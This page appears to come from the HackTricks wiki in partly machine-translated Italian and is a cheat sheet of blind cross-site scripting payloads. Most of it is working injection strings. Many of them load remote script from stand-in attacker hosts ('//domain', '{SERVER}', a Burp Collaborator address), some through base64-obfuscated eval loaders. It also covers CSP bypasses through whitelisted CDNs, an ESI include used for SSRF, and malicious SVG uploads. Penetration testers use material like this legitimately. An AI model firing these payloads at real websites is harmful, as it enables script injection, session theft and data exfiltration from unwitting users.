Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Payloads per Blind XSS

Puoi anche usare: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Accedere a contenuti nascosti

Dalla this writeup si può apprendere che, anche se alcuni valori scompaiono dal JS, è comunque possibile trovarli in attributi JS di diversi oggetti. Per esempio, un input di una REGEX è ancora rintracciabile anche dopo che il valore dell'input della REGEX è stato rimosso:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force Lista

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS che sfrutta altre vulnerabilità

XSS in Markdown

È possibile iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS! Controlla:

XSS in Markdown

XSS to SSRF

Hai XSS su un site that uses caching? Prova a upgrading that to SSRF tramite Edge Side Include Injection con questo payload:

python
<esi:include src="http://yoursite.com/capture" />

Usalo per bypassare le restrizioni dei cookie, i filtri XSS e molto altro!
Maggiori informazioni su questa tecnica qui: XSLT.

XSS in PDF creato dinamicamente

Se una pagina web crea un PDF usando input controllato dall'utente, puoi provare a trick the bot che sta creando il PDF per farlo executing arbitrary JS code.
Quindi, se il PDF creator bot finds qualche tipo di HTML tags, li interpret e puoi abuse questo comportamento per causare una Server XSS.

Server Side XSS (Dynamic PDF)

Se non puoi iniettare HTML tags, potrebbe valere la pena provare a inject PDF data:

PDF Injection

XSS in Amp4Email

AMP, nato per accelerare le prestazioni delle pagine web su dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una serie di componenti per varie funzionalità, accessibili tramite AMP components.

Il formato AMP for Email estende componenti AMP specifici alle email, permettendo ai destinatari di interagire con il contenuto direttamente all'interno delle loro email.

Esempio writeup XSS in Amp4Email in Gmail.

XSS caricamento file (svg)

Carica come immagine un file come il seguente (da http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Trova altri SVG payloads su https://github.com/allanlw/svg-cheatsheet

Trucchi JS e informazioni rilevanti

Misc JS Tricks & Relevant Info

Risorse XSS

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks